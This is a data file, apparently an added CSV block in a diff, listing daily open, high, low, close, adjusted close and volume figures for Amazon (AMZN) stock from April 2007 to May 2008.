+2007-04-16,43.77000045776367,45.29999923706055,43.66999816894531,45.20000076293945,45.20000076293945,13444000,AMZN
+2007-04-17,45.279998779296875,45.31999969482422,44.75,45.06999969482422,45.06999969482422,7398900,AMZN
+2007-04-18,44.79999923706055,45.150001525878906,44.630001068115234,44.9900016784668,44.9900016784668,4996400,AMZN
+2007-04-19,44.61000061035156,45.150001525878906,44.40999984741211,44.63999938964844,44.63999938964844,4809700,AMZN
+2007-04-20,45.09000015258789,45.16999816894531,44.52000045776367,44.95000076293945,44.95000076293945,5980500,AMZN
+2007-04-23,44.27000045776367,44.810001373291016,44.15999984741211,44.77000045776367,44.77000045776367,7088600,AMZN
+2007-04-24,44.75,45.0,44.43000030517578,44.75,44.75,19887600,AMZN
+2007-04-25,53.119998931884766,57.18000030517578,52.95000076293945,56.810001373291016,56.810001373291016,104329200,AMZN
+2007-04-26,56.5,63.040000915527344,56.06999969482422,62.779998779296875,62.779998779296875,62179500,AMZN
+2007-04-27,61.2400016784668,63.84000015258789,60.619998931884766,62.599998474121094,62.599998474121094,50733400,AMZN
+2007-04-30,61.90999984741211,62.439998626708984,61.18000030517578,61.33000183105469,61.33000183105469,23979200,AMZN
+2007-05-01,61.119998931884766,62.040000915527344,60.279998779296875,62.040000915527344,62.040000915527344,18519000,AMZN
+2007-05-02,61.68000030517578,62.25,60.900001525878906,61.18000030517578,61.18000030517578,14427200,AMZN
+2007-05-03,61.08000183105469,62.540000915527344,60.7599983215332,62.189998626708984,62.189998626708984,13482000,AMZN
+2007-05-04,62.38999938964844,63.75,62.349998474121094,63.22999954223633,63.22999954223633,14299300,AMZN
+2007-05-07,62.43000030517578,63.22999954223633,60.709999084472656,60.81999969482422,60.81999969482422,14808300,AMZN
+2007-05-08,60.540000915527344,61.84000015258789,59.70000076293945,61.83000183105469,61.83000183105469,13551100,AMZN
+2007-05-09,62.0,62.95000076293945,61.29999923706055,62.849998474121094,62.849998474121094,8874900,AMZN
+2007-05-10,62.439998626708984,62.650001525878906,60.849998474121094,60.91999816894531,60.91999816894531,10052000,AMZN
+2007-05-11,60.959999084472656,61.599998474121094,60.560001373291016,61.560001373291016,61.560001373291016,7919100,AMZN
+2007-05-14,61.68000030517578,61.7400016784668,60.599998474121094,61.70000076293945,61.70000076293945,7760400,AMZN
+2007-05-15,61.400001525878906,61.970001220703125,60.52000045776367,60.58000183105469,60.58000183105469,8702100,AMZN
+2007-05-16,61.02000045776367,63.34000015258789,60.099998474121094,63.220001220703125,63.220001220703125,14485400,AMZN
+2007-05-17,62.880001068115234,63.52000045776367,62.02000045776367,62.16999816894531,62.16999816894531,11870900,AMZN
+2007-05-18,62.47999954223633,63.29999923706055,62.279998779296875,63.29999923706055,63.29999923706055,9799200,AMZN
+2007-05-21,63.58000183105469,68.68000030517578,63.29999923706055,68.30000305175781,68.30000305175781,36468800,AMZN
+2007-05-22,68.4800033569336,69.06999969482422,67.20999908447266,68.87999725341797,68.87999725341797,17211300,AMZN
+2007-05-23,69.20999908447266,73.30999755859375,68.79000091552734,69.0,69.0,42582500,AMZN
+2007-05-24,69.04000091552734,70.41999816894531,67.70999908447266,69.3499984741211,69.3499984741211,23824600,AMZN
+2007-05-25,69.69000244140625,69.69999694824219,68.25,68.55000305175781,68.55000305175781,9987200,AMZN
+2007-05-29,68.43000030517578,69.77999877929688,67.72000122070312,69.62999725341797,69.62999725341797,11730800,AMZN
+2007-05-30,69.05999755859375,70.08000183105469,68.86000061035156,69.86000061035156,69.86000061035156,10576100,AMZN
+2007-05-31,70.68000030517578,70.73999786376953,68.56999969482422,69.13999938964844,69.13999938964844,9310200,AMZN
+2007-06-01,68.9000015258789,69.30000305175781,68.3499984741211,68.58000183105469,68.58000183105469,7014500,AMZN
+2007-06-04,68.25,70.6500015258789,67.6500015258789,70.41999816894531,70.41999816894531,11380500,AMZN
+2007-06-05,71.0999984741211,74.23999786376953,70.86000061035156,73.6500015258789,73.6500015258789,30442500,AMZN
+2007-06-06,73.13999938964844,73.75,71.86000061035156,72.29000091552734,72.29000091552734,15591000,AMZN
+2007-06-07,72.56999969482422,74.72000122070312,70.87999725341797,72.04000091552734,72.04000091552734,24138200,AMZN
+2007-06-08,72.47000122070312,73.23999786376953,71.05000305175781,73.23999786376953,73.23999786376953,10204500,AMZN
+2007-06-11,73.0,73.05000305175781,71.0,71.16999816894531,71.16999816894531,11159100,AMZN
+2007-06-12,70.44000244140625,70.76000213623047,69.41999816894531,70.06999969482422,70.06999969482422,11829500,AMZN
+2007-06-13,70.9000015258789,71.88999938964844,69.25,70.88999938964844,70.88999938964844,11917900,AMZN
+2007-06-14,70.9000015258789,72.12000274658203,70.80000305175781,71.94000244140625,71.94000244140625,8245300,AMZN
+2007-06-15,72.8499984741211,72.87000274658203,71.19000244140625,72.4000015258789,72.4000015258789,9833200,AMZN
+2007-06-18,72.33999633789062,72.63999938964844,71.4000015258789,71.83000183105469,71.83000183105469,7813600,AMZN
+2007-06-19,71.55000305175781,71.66000366210938,69.68000030517578,69.80999755859375,69.80999755859375,11871000,AMZN
+2007-06-20,70.25,70.5,69.05000305175781,69.0999984741211,69.0999984741211,9172600,AMZN
+2007-06-21,69.16000366210938,69.7699966430664,68.66000366210938,69.66999816894531,69.66999816894531,7609700,AMZN
+2007-06-22,69.55000305175781,69.87999725341797,68.41999816894531,68.86000061035156,68.86000061035156,8382600,AMZN
+2007-06-25,69.3499984741211,69.62999725341797,68.30000305175781,68.66000366210938,68.66000366210938,7593500,AMZN
+2007-06-26,68.52999877929688,68.62999725341797,67.37999725341797,67.4800033569336,67.4800033569336,11247800,AMZN
+2007-06-27,66.95999908447266,68.20999908447266,66.70999908447266,68.13999938964844,68.13999938964844,8242900,AMZN
+2007-06-28,68.45999908447266,70.2300033569336,68.1500015258789,68.88999938964844,68.88999938964844,9782200,AMZN
+2007-06-29,69.02999877929688,69.19000244140625,68.1500015258789,68.41000366210938,68.41000366210938,5316600,AMZN
+2007-07-02,68.80999755859375,69.70999908447266,68.19999694824219,69.61000061035156,69.61000061035156,4906100,AMZN
+2007-07-03,70.04000091552734,70.05000305175781,69.0199966430664,69.44999694824219,69.44999694824219,2223500,AMZN
+2007-07-05,69.36000061035156,69.6500015258789,68.05999755859375,68.7300033569336,68.7300033569336,4487900,AMZN
+2007-07-06,68.75,69.30000305175781,68.01000213623047,68.97000122070312,68.97000122070312,4615300,AMZN
+2007-07-09,69.37999725341797,72.3499984741211,69.0199966430664,72.06999969482422,72.06999969482422,14816900,AMZN
+2007-07-10,71.6500015258789,71.94000244140625,70.06999969482422,70.27999877929688,70.27999877929688,8885400,AMZN
+2007-07-11,70.58000183105469,71.6500015258789,70.1500015258789,70.7300033569336,70.7300033569336,6593600,AMZN
+2007-07-12,71.30999755859375,73.56999969482422,70.7300033569336,72.79000091552734,72.79000091552734,11451600,AMZN
+2007-07-13,73.08000183105469,75.3499984741211,72.97000122070312,75.0999984741211,75.0999984741211,12502000,AMZN
+2007-07-16,74.7300033569336,74.83999633789062,73.0,73.69000244140625,73.69000244140625,8334900,AMZN
+2007-07-17,74.38999938964844,74.5199966430664,73.58999633789062,73.79000091552734,73.79000091552734,6084400,AMZN
+2007-07-18,73.2699966430664,73.48999786376953,72.25,73.31999969482422,73.31999969482422,6289700,AMZN
+2007-07-19,74.23999786376953,74.31999969482422,73.12000274658203,73.3499984741211,73.3499984741211,5273500,AMZN
+2007-07-20,72.62000274658203,72.95999908447266,70.5,71.62999725341797,71.62999725341797,9130700,AMZN
+2007-07-23,71.77999877929688,72.66999816894531,70.8499984741211,71.73999786376953,71.73999786376953,9267800,AMZN
+2007-07-24,71.04000091552734,72.16000366210938,68.8499984741211,69.25,69.25,25342300,AMZN
+2007-07-25,84.66000366210938,88.80000305175781,83.6500015258789,86.18000030517578,86.18000030517578,60452400,AMZN
+2007-07-26,85.0199966430664,89.0,83.43000030517578,84.01000213623047,84.01000213623047,23267100,AMZN
+2007-07-27,84.2699966430664,85.33000183105469,82.4800033569336,84.04000091552734,84.04000091552734,13942600,AMZN
+2007-07-30,83.0,84.05000305175781,81.51000213623047,82.69999694824219,82.69999694824219,12855600,AMZN
+2007-07-31,83.69999694824219,83.7300033569336,78.0,78.54000091552734,78.54000091552734,14104500,AMZN
+2007-08-01,78.0999984741211,78.1500015258789,75.05999755859375,77.30999755859375,77.30999755859375,16918000,AMZN
+2007-08-02,77.86000061035156,79.76000213623047,76.12000274658203,79.70999908447266,79.70999908447266,10361600,AMZN
+2007-08-03,79.54000091552734,80.75,76.70999908447266,76.80000305175781,76.80000305175781,7987500,AMZN
+2007-08-06,77.05999755859375,79.0,76.5999984741211,79.0,79.0,9002900,AMZN
+2007-08-07,78.55000305175781,80.0,77.88999938964844,79.13999938964844,79.13999938964844,8059300,AMZN
+2007-08-08,79.7699966430664,79.87999725341797,76.55999755859375,77.77999877929688,77.77999877929688,8244800,AMZN
+2007-08-09,76.4000015258789,77.26000213623047,74.11000061035156,74.11000061035156,74.11000061035156,8348400,AMZN
+2007-08-10,73.1500015258789,76.5,72.37000274658203,74.77999877929688,74.77999877929688,9067600,AMZN
+2007-08-13,76.08999633789062,76.31999969482422,74.69999694824219,74.87000274658203,74.87000274658203,6068600,AMZN
+2007-08-14,74.79000091552734,74.79000091552734,72.91999816894531,73.44999694824219,73.44999694824219,5946200,AMZN
+2007-08-15,73.0199966430664,75.1500015258789,72.26000213623047,72.37999725341797,72.37999725341797,6375900,AMZN
+2007-08-16,72.0,73.23999786376953,70.05000305175781,72.79000091552734,72.79000091552734,10787300,AMZN
+2007-08-17,74.48999786376953,75.04000091552734,73.11000061035156,75.0199966430664,75.0199966430664,7240600,AMZN
+2007-08-20,74.9800033569336,75.27999877929688,73.80000305175781,74.69999694824219,74.69999694824219,5916100,AMZN
+2007-08-21,74.20999908447266,77.83000183105469,74.08999633789062,77.48999786376953,77.48999786376953,8429100,AMZN
+2007-08-22,78.23999786376953,79.48999786376953,77.83999633789062,78.5,78.5,6848100,AMZN
+2007-08-23,78.94000244140625,79.0,76.51000213623047,77.30000305175781,77.30000305175781,5665000,AMZN
+2007-08-24,76.80000305175781,79.4000015258789,76.69000244140625,79.25,79.25,5665700,AMZN
+2007-08-27,80.55999755859375,80.80000305175781,78.41999816894531,78.6500015258789,78.6500015258789,6951300,AMZN
+2007-08-28,77.86000061035156,78.6500015258789,76.08000183105469,76.22000122070312,76.22000122070312,5767000,AMZN
+2007-08-29,76.95999908447266,79.05000305175781,76.86000061035156,79.05000305175781,79.05000305175781,5076800,AMZN
+2007-08-30,78.4000015258789,80.11000061035156,78.30000305175781,78.68000030517578,78.68000030517578,4628800,AMZN
+2007-08-31,80.0,80.52999877929688,79.69999694824219,79.91000366210938,79.91000366210938,6157400,AMZN
+2007-09-04,79.9000015258789,83.52999877929688,79.7300033569336,82.69999694824219,82.69999694824219,8266000,AMZN
+2007-09-05,82.23999786376953,84.88999938964844,82.22000122070312,83.75,83.75,9062200,AMZN
+2007-09-06,84.5,86.45999908447266,82.8499984741211,86.20999908447266,86.20999908447266,8826900,AMZN
+2007-09-07,84.69999694824219,84.97000122070312,83.20999908447266,84.5199966430664,84.5199966430664,8231200,AMZN
+2007-09-10,84.93000030517578,85.16000366210938,82.51000213623047,83.33999633789062,83.33999633789062,5366900,AMZN
+2007-09-11,84.16999816894531,86.61000061035156,83.52999877929688,86.27999877929688,86.27999877929688,6859800,AMZN
+2007-09-12,86.06999969482422,88.88999938964844,85.97000122070312,87.30000305175781,87.30000305175781,9030300,AMZN
+2007-09-13,87.94999694824219,88.06999969482422,86.5,87.26000213623047,87.26000213623047,5983500,AMZN
+2007-09-14,86.41000366210938,88.08999633789062,86.30999755859375,87.7699966430664,87.7699966430664,3954700,AMZN
+2007-09-17,86.9800033569336,87.33999633789062,85.9800033569336,86.91000366210938,86.91000366210938,4484500,AMZN
+2007-09-18,87.37999725341797,91.5999984741211,86.70999908447266,88.75,88.75,8924400,AMZN
+2007-09-19,89.5199966430664,89.81999969482422,88.26000213623047,89.0,89.0,6458700,AMZN
+2007-09-20,88.9000015258789,90.41999816894531,88.81999969482422,89.6500015258789,89.6500015258789,5780800,AMZN
+2007-09-21,90.29000091552734,91.9000015258789,89.6500015258789,91.30000305175781,91.30000305175781,6524500,AMZN
+2007-09-24,91.30000305175781,93.75,90.80999755859375,92.58999633789062,92.58999633789062,5321800,AMZN
+2007-09-25,91.98999786376953,93.5,90.94999694824219,93.4800033569336,93.4800033569336,5800300,AMZN
+2007-09-26,94.04000091552734,94.26000213623047,92.29000091552734,93.43000030517578,93.43000030517578,5770300,AMZN
+2007-09-27,94.06999969482422,94.11000061035156,93.11000061035156,93.37999725341797,93.37999725341797,2812700,AMZN
+2007-09-28,92.7699966430664,93.5999984741211,91.69999694824219,93.1500015258789,93.1500015258789,4813700,AMZN
+2007-10-01,93.41999816894531,94.0999984741211,92.83000183105469,93.41000366210938,93.41000366210938,5397400,AMZN
+2007-10-02,93.86000061035156,93.9000015258789,91.4000015258789,92.36000061035156,92.36000061035156,4867200,AMZN
+2007-10-03,92.19000244140625,92.80000305175781,91.77999877929688,92.45999908447266,92.45999908447266,5052200,AMZN
+2007-10-04,92.55000305175781,92.56999969482422,91.44999694824219,92.26000213623047,92.26000213623047,3318300,AMZN
+2007-10-05,93.55000305175781,93.70999908447266,92.33999633789062,93.43000030517578,93.43000030517578,5523500,AMZN
+2007-10-08,94.22000122070312,95.8499984741211,94.0,95.8499984741211,95.8499984741211,7428400,AMZN
+2007-10-09,96.58999633789062,96.7300033569336,94.75,95.31999969482422,95.31999969482422,7144600,AMZN
+2007-10-10,95.5,95.75,94.37000274658203,94.66000366210938,94.66000366210938,5567800,AMZN
+2007-10-11,95.33000183105469,95.73999786376953,88.12999725341797,89.33999633789062,89.33999633789062,9822400,AMZN
+2007-10-12,89.41999816894531,92.38999938964844,88.91999816894531,92.37000274658203,92.37000274658203,8359900,AMZN
+2007-10-15,91.80000305175781,92.12000274658203,90.0999984741211,90.52999877929688,90.52999877929688,5608800,AMZN
+2007-10-16,88.69000244140625,90.05000305175781,88.5,89.52999877929688,89.52999877929688,8511500,AMZN
+2007-10-17,91.9000015258789,91.9000015258789,89.05999755859375,90.55000305175781,90.55000305175781,7678700,AMZN
+2007-10-18,89.37000274658203,90.43000030517578,89.1500015258789,89.8499984741211,89.8499984741211,5329500,AMZN
+2007-10-19,89.93000030517578,90.6500015258789,89.31999969482422,89.76000213623047,89.76000213623047,9126200,AMZN
+2007-10-22,89.25,91.69000244140625,89.0199966430664,91.29000091552734,91.29000091552734,9868400,AMZN
+2007-10-23,95.27999877929688,101.08999633789062,94.20999908447266,100.81999969482422,100.81999969482422,41761800,AMZN
+2007-10-24,90.87000274658203,90.87999725341797,83.2699966430664,88.7300033569336,88.7300033569336,41617400,AMZN
+2007-10-25,88.2300033569336,89.5,86.31999969482422,88.20999908447266,88.20999908447266,11630900,AMZN
+2007-10-26,89.0,90.87999725341797,87.69999694824219,90.0,90.0,8826200,AMZN
+2007-10-29,90.41000366210938,91.47000122070312,89.4800033569336,90.0999984741211,90.0999984741211,7097200,AMZN
+2007-10-30,89.66999816894531,90.6500015258789,88.05000305175781,88.23999786376953,88.23999786376953,5405400,AMZN
+2007-10-31,88.05000305175781,89.5999984741211,87.0,89.1500015258789,89.1500015258789,7044800,AMZN
+2007-11-01,87.75,89.58000183105469,86.5,87.6500015258789,87.6500015258789,8265700,AMZN
+2007-11-02,87.97000122070312,88.12000274658203,83.5,85.9800033569336,85.9800033569336,10230500,AMZN
+2007-11-05,84.3499984741211,86.0199966430664,82.76000213623047,84.37000274658203,84.37000274658203,7453100,AMZN
+2007-11-06,84.61000061035156,87.5,84.37000274658203,87.2699966430664,87.2699966430664,7934000,AMZN
+2007-11-07,86.41000366210938,89.16000366210938,86.16000366210938,87.04000091552734,87.04000091552734,8397800,AMZN
+2007-11-08,86.80000305175781,86.95999908447266,81.4000015258789,83.58000183105469,83.58000183105469,11803200,AMZN
+2007-11-09,82.41999816894531,82.41999816894531,78.83999633789062,78.88999938964844,78.88999938964844,11620200,AMZN
+2007-11-12,78.26000213623047,80.08999633789062,76.5,77.0,77.0,9396900,AMZN
+2007-11-13,77.91000366210938,80.05000305175781,77.80000305175781,79.86000061035156,79.86000061035156,9496300,AMZN
+2007-11-14,80.4000015258789,81.1500015258789,78.1500015258789,78.51000213623047,78.51000213623047,8427400,AMZN
+2007-11-15,79.43000030517578,79.7300033569336,76.69999694824219,77.8499984741211,77.8499984741211,7831500,AMZN
+2007-11-16,77.01000213623047,78.98999786376953,76.62999725341797,78.5999984741211,78.5999984741211,7114100,AMZN
+2007-11-19,78.83000183105469,79.75,77.94000244140625,79.18000030517578,79.18000030517578,8649800,AMZN
+2007-11-20,79.86000061035156,82.0,78.30999755859375,80.38999938964844,80.38999938964844,11610000,AMZN
+2007-11-21,79.23999786376953,80.86000061035156,78.6500015258789,79.76000213623047,79.76000213623047,6678300,AMZN
+2007-11-23,80.11000061035156,81.44999694824219,78.9800033569336,81.43000030517578,81.43000030517578,2780900,AMZN
+2007-11-26,82.30000305175781,84.48999786376953,81.13999938964844,81.30000305175781,81.30000305175781,8610500,AMZN
+2007-11-27,82.91999816894531,85.6500015258789,82.20999908447266,85.58999633789062,85.58999633789062,8634200,AMZN
+2007-11-28,87.55000305175781,90.56999969482422,86.75,90.30000305175781,90.30000305175781,11403400,AMZN
+2007-11-29,89.88999938964844,91.47000122070312,88.68000030517578,89.1500015258789,89.1500015258789,6977100,AMZN
+2007-11-30,90.55999755859375,91.08000183105469,88.30999755859375,90.55999755859375,90.55999755859375,6881600,AMZN
+2007-12-03,90.02999877929688,92.25,89.7699966430664,90.91000366210938,90.91000366210938,6000500,AMZN
+2007-12-04,90.04000091552734,94.55999755859375,90.04000091552734,94.41000366210938,94.41000366210938,7337900,AMZN
+2007-12-05,94.98999786376953,94.98999786376953,91.9800033569336,93.19000244140625,93.19000244140625,6608600,AMZN
+2007-12-06,93.27999877929688,95.0,92.83000183105469,94.20999908447266,94.20999908447266,5472700,AMZN
+2007-12-07,94.55999755859375,94.68000030517578,92.91000366210938,94.30999755859375,94.30999755859375,3934800,AMZN
+2007-12-10,94.30999755859375,94.3499984741211,92.30000305175781,93.0199966430664,93.0199966430664,5180600,AMZN
+2007-12-11,93.0999984741211,95.94000244140625,90.75,90.75,90.75,10269600,AMZN
+2007-12-12,92.83999633789062,93.75,89.31999969482422,91.27999877929688,91.27999877929688,7228100,AMZN
+2007-12-13,91.05000305175781,93.0,90.62999725341797,92.4000015258789,92.4000015258789,6046300,AMZN
+2007-12-14,90.7699966430664,91.23999786376953,88.93000030517578,89.08000183105469,89.08000183105469,6002300,AMZN
+2007-12-17,89.01000213623047,89.05999755859375,84.98999786376953,85.08999633789062,85.08999633789062,7697700,AMZN
+2007-12-18,85.83000183105469,87.45999908447266,83.86000061035156,86.88999938964844,86.88999938964844,7266100,AMZN
+2007-12-19,86.94000244140625,89.94999694824219,86.83000183105469,89.37999725341797,89.37999725341797,7616200,AMZN
+2007-12-20,90.13999938964844,90.75,89.08999633789062,90.58000183105469,90.58000183105469,5879800,AMZN
+2007-12-21,91.47000122070312,92.27999877929688,90.38999938964844,91.26000213623047,91.26000213623047,6604900,AMZN
+2007-12-24,91.05000305175781,91.55999755859375,90.30000305175781,91.01000213623047,91.01000213623047,2017100,AMZN
+2007-12-26,91.4800033569336,93.94000244140625,90.5,92.8499984741211,92.8499984741211,5442200,AMZN
+2007-12-27,92.66999816894531,95.29000091552734,92.5,94.25,94.25,7113700,AMZN
+2007-12-28,95.2699966430664,95.9000015258789,92.0999984741211,94.44999694824219,94.44999694824219,7587900,AMZN
+2007-12-31,93.80999755859375,94.37000274658203,92.44999694824219,92.63999938964844,92.63999938964844,5755200,AMZN
+2008-01-02,95.3499984741211,97.43000030517578,94.69999694824219,96.25,96.25,13858700,AMZN
+2008-01-03,96.05999755859375,97.25,94.5199966430664,95.20999908447266,95.20999908447266,9122500,AMZN
+2008-01-04,93.26000213623047,93.4000015258789,88.5,88.79000091552734,88.79000091552734,10270000,AMZN
+2008-01-07,88.62000274658203,90.56999969482422,85.47000122070312,88.81999969482422,88.81999969482422,9981600,AMZN
+2008-01-08,87.55000305175781,91.83000183105469,86.93000030517578,87.87999725341797,87.87999725341797,12283300,AMZN
+2008-01-09,87.55999755859375,87.80000305175781,80.23999786376953,85.22000122070312,85.22000122070312,16410900,AMZN
+2008-01-10,83.9800033569336,85.97000122070312,82.97000122070312,84.26000213623047,84.26000213623047,11609900,AMZN
+2008-01-11,84.02999877929688,84.02999877929688,80.29000091552734,81.08000183105469,81.08000183105469,10624300,AMZN
+2008-01-14,82.18000030517578,83.31999969482422,78.87000274658203,82.87000274658203,82.87000274658203,9056100,AMZN
+2008-01-15,80.48999786376953,81.01000213623047,78.51000213623047,80.23999786376953,80.23999786376953,9655900,AMZN
+2008-01-16,79.58000183105469,82.36000061035156,78.44000244140625,80.3499984741211,80.3499984741211,12407000,AMZN
+2008-01-17,80.16000366210938,82.25,79.54000091552734,80.12000274658203,80.12000274658203,9900900,AMZN
+2008-01-18,79.93000030517578,82.30999755859375,78.04000091552734,79.76000213623047,79.76000213623047,13364300,AMZN
+2008-01-22,73.58000183105469,79.72000122070312,72.22000122070312,78.4800033569336,78.4800033569336,12822200,AMZN
+2008-01-23,75.5999984741211,76.80000305175781,69.94999694824219,73.97000122070312,73.97000122070312,20405700,AMZN
+2008-01-24,74.52999877929688,77.87999725341797,74.19000244140625,77.66999816894531,77.66999816894531,9886600,AMZN
+2008-01-25,78.69000244140625,81.43000030517578,76.33000183105469,77.5999984741211,77.5999984741211,10027600,AMZN
+2008-01-28,76.91000366210938,77.4000015258789,74.33999633789062,75.81999969482422,75.81999969482422,8505300,AMZN
+2008-01-29,75.7699966430664,75.9000015258789,72.05999755859375,73.94999694824219,73.94999694824219,9958000,AMZN
+2008-01-30,73.54000091552734,77.41999816894531,73.25,74.20999908447266,74.20999908447266,25298700,AMZN
+2008-01-31,68.91000366210938,78.87000274658203,68.83999633789062,77.69999694824219,77.69999694824219,42885900,AMZN
+2008-02-01,79.0199966430664,79.4000015258789,73.37000274658203,74.62999725341797,74.62999725341797,16361000,AMZN
+2008-02-04,74.5,76.66000366210938,73.9000015258789,73.94999694824219,73.94999694824219,9155200,AMZN
+2008-02-05,72.80000305175781,74.20999908447266,72.0,72.08999633789062,72.08999633789062,9633900,AMZN
+2008-02-06,72.30000305175781,72.43000030517578,68.16999816894531,68.48999786376953,68.48999786376953,12399500,AMZN
+2008-02-07,67.37000274658203,72.70999908447266,67.22000122070312,70.91000366210938,70.91000366210938,14501700,AMZN
+2008-02-08,73.4000015258789,74.5999984741211,72.5199966430664,73.5,73.5,11700400,AMZN
+2008-02-11,73.13999938964844,75.95999908447266,72.7699966430664,75.19000244140625,75.19000244140625,7763700,AMZN
+2008-02-12,75.43000030517578,77.05000305175781,73.79000091552734,74.44999694824219,74.44999694824219,9449000,AMZN
+2008-02-13,74.98999786376953,78.8499984741211,73.2699966430664,77.7300033569336,77.7300033569336,11070300,AMZN
+2008-02-14,77.7300033569336,77.87999725341797,75.18000030517578,75.80000305175781,75.80000305175781,7497200,AMZN
+2008-02-15,75.0,75.19000244140625,71.94000244140625,72.95999908447266,72.95999908447266,11120100,AMZN
+2008-02-19,73.54000091552734,74.0,71.55000305175781,72.08000183105469,72.08000183105469,7109200,AMZN
+2008-02-20,71.9000015258789,73.87999725341797,71.0999984741211,73.63999938964844,73.63999938964844,6450700,AMZN
+2008-02-21,73.94000244140625,74.20999908447266,69.37000274658203,69.9000015258789,69.9000015258789,13150800,AMZN
+2008-02-22,70.54000091552734,72.20999908447266,69.86000061035156,72.08000183105469,72.08000183105469,12342700,AMZN
+2008-02-25,72.3499984741211,73.5,71.41000366210938,73.2699966430664,73.2699966430664,7858200,AMZN
+2008-02-26,71.91000366210938,73.5,70.27999877929688,71.69000244140625,71.69000244140625,9891300,AMZN
+2008-02-27,70.68000030517578,71.4800033569336,69.56999969482422,70.87000274658203,70.87000274658203,8930500,AMZN
+2008-02-28,70.30000305175781,70.5999984741211,67.11000061035156,67.8499984741211,67.8499984741211,13167800,AMZN
+2008-02-29,67.01000213623047,67.5,63.970001220703125,64.47000122070312,64.47000122070312,11664600,AMZN
+2008-03-03,63.59000015258789,64.48999786376953,61.20000076293945,62.43000030517578,62.43000030517578,13721100,AMZN
+2008-03-04,61.66999816894531,66.5999984741211,61.22999954223633,65.33999633789062,65.33999633789062,16703600,AMZN
+2008-03-05,65.66000366210938,66.33999633789062,63.81999969482422,64.98999786376953,64.98999786376953,11126400,AMZN
+2008-03-06,64.75,65.45999908447266,62.5,62.7400016784668,62.7400016784668,8343300,AMZN
+2008-03-07,62.20000076293945,64.87000274658203,62.0099983215332,64.08999633789062,64.08999633789062,10438100,AMZN
+2008-03-10,63.900001525878906,65.1500015258789,62.90999984741211,63.470001220703125,63.470001220703125,9321000,AMZN
+2008-03-11,65.94999694824219,67.16999816894531,63.709999084472656,67.1500015258789,67.1500015258789,9742900,AMZN
+2008-03-12,66.7699966430664,68.2300033569336,65.63999938964844,66.51000213623047,66.51000213623047,7748800,AMZN
+2008-03-13,65.11000061035156,69.55000305175781,64.37000274658203,68.31999969482422,68.31999969482422,10707500,AMZN
+2008-03-14,68.61000061035156,70.68000030517578,66.05999755859375,68.22000122070312,68.22000122070312,12420700,AMZN
+2008-03-17,65.72000122070312,67.79000091552734,64.91999816894531,66.52999877929688,66.52999877929688,9709100,AMZN
+2008-03-18,68.25,71.93000030517578,67.58999633789062,71.69999694824219,71.69999694824219,9550700,AMZN
+2008-03-19,71.0999984741211,74.0,70.16999816894531,70.16999816894531,70.16999816894531,11041900,AMZN
+2008-03-20,70.16999816894531,73.48999786376953,69.37999725341797,73.19000244140625,73.19000244140625,11410700,AMZN
+2008-03-24,73.81999969482422,76.93000030517578,72.75,75.94999694824219,75.94999694824219,9395400,AMZN
+2008-03-25,75.83000183105469,76.29000091552734,74.05000305175781,75.16999816894531,75.16999816894531,6327500,AMZN
+2008-03-26,74.13999938964844,75.12000274658203,73.23999786376953,73.80000305175781,73.80000305175781,6285100,AMZN
+2008-03-27,74.37000274658203,74.69000244140625,70.80000305175781,70.80000305175781,70.80000305175781,7942400,AMZN
+2008-03-28,71.0,72.20999908447266,69.26000213623047,69.76000213623047,69.76000213623047,5279100,AMZN
+2008-03-31,70.25,71.63999938964844,69.62999725341797,71.30000305175781,71.30000305175781,5470300,AMZN
+2008-04-01,72.98999786376953,77.08999633789062,72.76000213623047,76.69999694824219,76.69999694824219,9734000,AMZN
+2008-04-02,77.08000183105469,79.0,76.12000274658203,77.37000274658203,77.37000274658203,8592400,AMZN
+2008-04-03,75.1500015258789,76.01000213623047,73.80999755859375,74.94000244140625,74.94000244140625,8149900,AMZN
+2008-04-04,75.26000213623047,77.83000183105469,74.27999877929688,76.87000274658203,76.87000274658203,7152800,AMZN
+2008-04-07,77.36000061035156,78.43000030517578,76.0,76.9000015258789,76.9000015258789,6672400,AMZN
+2008-04-08,76.4000015258789,77.61000061035156,75.5,77.30000305175781,77.30000305175781,4966000,AMZN
+2008-04-09,76.55999755859375,76.66999816894531,73.66000366210938,74.38999938964844,74.38999938964844,6660300,AMZN
+2008-04-10,74.4800033569336,75.48999786376953,72.7300033569336,74.83000183105469,74.83000183105469,6255500,AMZN
+2008-04-11,73.83999633789062,74.30000305175781,71.62000274658203,71.98999786376953,71.98999786376953,6785600,AMZN
+2008-04-14,71.69999694824219,74.0,71.29000091552734,72.61000061035156,72.61000061035156,4354500,AMZN
+2008-04-15,72.97000122070312,73.9800033569336,70.6500015258789,72.5,72.5,6813100,AMZN
+2008-04-16,73.0199966430664,75.0,72.94000244140625,74.58999633789062,74.58999633789062,6746800,AMZN
+2008-04-17,74.18000030517578,75.0199966430664,73.61000061035156,74.04000091552734,74.04000091552734,6220000,AMZN
+2008-04-18,76.4800033569336,82.0,76.31999969482422,80.0999984741211,80.0999984741211,16791300,AMZN
+2008-04-21,80.02999877929688,81.33999633789062,79.05999755859375,80.18000030517578,80.18000030517578,9335400,AMZN
+2008-04-22,79.94000244140625,79.94000244140625,77.54000091552734,79.5999984741211,79.5999984741211,7245000,AMZN
+2008-04-23,80.30000305175781,82.63999938964844,78.73999786376953,81.0,81.0,19250400,AMZN
+2008-04-24,77.70999908447266,80.52999877929688,76.93000030517578,77.69000244140625,77.69000244140625,21073500,AMZN
+2008-04-25,77.80999755859375,81.31999969482422,77.26000213623047,80.86000061035156,80.86000061035156,9456500,AMZN
+2008-04-28,80.63999938964844,82.5,80.12000274658203,81.97000122070312,81.97000122070312,10991900,AMZN
+2008-04-29,81.41999816894531,81.7699966430664,79.86000061035156,80.73999786376953,80.73999786376953,6726400,AMZN
+2008-04-30,80.9000015258789,81.33999633789062,77.91999816894531,78.62999725341797,78.62999725341797,7875700,AMZN
+2008-05-01,78.4000015258789,80.01000213623047,77.97000122070312,79.36000061035156,79.36000061035156,7197000,AMZN
+2008-05-02,80.30000305175781,81.19999694824219,76.4000015258789,77.30999755859375,77.30999755859375,8154900,AMZN
+2008-05-05,77.2699966430664,77.7699966430664,75.87000274658203,75.91999816894531,75.91999816894531,5647400,AMZN
+2008-05-06,75.51000213623047,76.7699966430664,75.05000305175781,75.70999908447266,75.70999908447266,6545700,AMZN
+2008-05-07,75.26000213623047,76.63999938964844,73.08999633789062,73.18000030517578,73.18000030517578,8376600,AMZN
+2008-05-08,73.7300033569336,74.16000366210938,71.55999755859375,72.79000091552734,72.79000091552734,8131300,AMZN
+2008-05-09,72.19999694824219,73.33999633789062,71.66000366210938,72.41000366210938,72.41000366210938,4243500,AMZN
